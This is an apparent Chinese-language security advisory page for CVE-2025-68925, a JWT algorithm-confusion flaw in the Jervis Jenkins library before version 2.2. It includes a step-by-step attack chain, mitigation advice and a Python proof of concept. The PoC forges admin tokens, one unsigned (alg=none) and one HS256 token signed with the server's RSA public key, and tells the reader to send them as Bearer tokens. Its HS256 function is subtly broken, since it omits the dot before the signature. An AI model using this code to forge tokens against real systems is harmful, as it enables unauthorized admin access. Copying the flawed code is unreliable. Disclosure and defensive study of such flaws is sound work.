IPBUF安全漏洞报告
English
CVE-2025-68925 CVSS 5.3 中危

CVE-2025-68925 Jervis JWT算法验证缺失安全漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2025-68925
漏洞类型
身份认证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Jervis

相关标签

身份认证绕过JWT安全算法混淆攻击JervisJenkinsCVE-2025-68925

漏洞概述

Jervis是一个用于Job DSL插件脚本和共享Jenkins管道库的库。该漏洞存在于2.2版本之前,代码未验证JWT(JSON Web Token)头部中指定的算法字段是否确实为RS256。在JWT标准中,alg字段用于声明签名算法,攻击者可利用算法混淆(algorithm confusion)攻击,通过将alg设置为none或切换为较弱的算法(如HS256),然后使用公钥作为HMAC密钥进行签名,从而绕过签名验证。这使得攻击者可以伪造任意JWT令牌,以任意用户身份访问系统资源,执行未经授权的操作。该漏洞无需认证即可利用,且可远程触发,对使用Jervis库进行Jenkins自动化构建和部署的系统构成安全威胁。

技术细节

JWT(JSON Web Token)是一种常用的身份认证机制,通过数字签名确保令牌内容不可篡改。标准的JWT由三部分组成:头部(Header)、载荷(Payload)和签名(Signature)。头部中的alg字段声明了签名算法,常见的包括RS256(RSA签名)、HS256(HMAC签名)等。Jervis库在2.2版本之前,未对JWT头部的alg字段进行严格验证,允许任意算法被接受。攻击者可以利用以下方式利用此漏洞:1)将alg设置为none,删除签名部分,从而创建未签名的令牌;2)将RS256算法切换为HS256,并使用服务器的RSA公钥作为HMAC密钥伪造签名。由于Jervis使用RSA公钥验证RS256签名的令牌,攻击者只需获取该公钥,即可使用相同的公钥作为HS256密钥生成有效签名。成功利用此漏洞后,攻击者可以伪造管理员或其他特权用户的JWT令牌,获取完整的系统访问权限,执行任意Job DSL脚本或管道操作。

攻击链分析

STEP 1
步骤1
收集目标服务器信息,获取Jervis库使用的RSA公钥(通过公开的JWKS端点、源码或其他途径)
STEP 2
步骤2
构造恶意JWT令牌,将alg字段从RS256修改为HS256(或设置为none),使用获取的RSA公钥作为HMAC密钥对令牌进行签名
STEP 3
步骤3
在JWT载荷中注入伪造的用户身份信息(如管理员账户),设置合理的iat和exp时间戳
STEP 4
步骤4
将恶意JWT令牌作为HTTP请求的Authorization头发送给Jervis服务
STEP 5
步骤5
Jervis库验证JWT时,由于未严格校验alg字段,使用RSA公钥验证HS256签名,成功通过验证
STEP 6
步骤6
攻击者以伪造的管理员身份获取系统访问权限,执行任意Job DSL脚本或管道操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-68925 JWT Algorithm Confusion PoC # Affected: Jervis < 2.2 # Attack Type: JWT algorithm confusion (RS256 to HS256) import base64 import json import hmac import hashlib def base64url_encode(data): """URL-safe base64 encoding without padding""" if isinstance(data, str): data = data.encode('utf-8') return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8') def create_jwt_none_attack(payload): """Create JWT with alg=none (unsigned token)""" header = {"alg": "none", "typ": "JWT"} header_b64 = base64url_encode(json.dumps(header)) payload_b64 = base64url_encode(json.dumps(payload)) # No signature for alg=none unsigned_token = f"{header_b64}.{payload_b64}." return unsigned_token def create_jwt_hs256_attack(header, payload, public_key): """Create JWT with alg switched to HS256 using RSA public key as HMAC key""" # Modify algorithm to HS256 header['alg'] = 'HS256' header_b64 = base64url_encode(json.dumps(header)) payload_b64 = base64url_encode(json.dumps(payload)) # Sign with HMAC using RSA public key as secret message = f"{header_b64}.{payload_b64}" signature = hmac.new( public_key.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).digest() signature_b64 = base64url_encode(signature) return f"{message}{signature_b64}" # Example: Forge admin token admin_payload = { "sub": "admin", "iss": "jervis", "iat": 1736800000, "exp": 1736886400, "role": "admin" } # RSA public key (obtained from server's JWKS endpoint or public key exposure) rsa_public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...\n-----END PUBLIC KEY-----" # Generate malicious JWT malicious_jwt_none = create_jwt_none_attack(admin_payload) malicious_jwt_hs256 = create_jwt_hs256_attack({"alg": "RS256", "typ": "JWT"}, admin_payload, rsa_public_key) print("=== CVE-2025-68925 JWT Algorithm Confusion Attack ===") print("\n1. Unsigned JWT (alg=none):") print(malicious_jwt_none) print("\n2. HS256 forged JWT (using RSA public key as HMAC key):") print(malicious_jwt_hs256) print("\nUsage: Use these tokens as Bearer tokens in Authorization header")

影响范围

Jervis < 2.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)在JWT验证层之前部署WAF,检测并拦截alg字段为none或异常的JWT请求;2)实现自定义的JWT验证逻辑,明确指定只接受RS256算法;3)限制Jervis服务的网络访问,仅允许受信任的IP访问;4)增加额外的身份验证机制,如双因素认证或多因素授权;5)监控JWT相关的认证日志,及时发现异常的认证尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表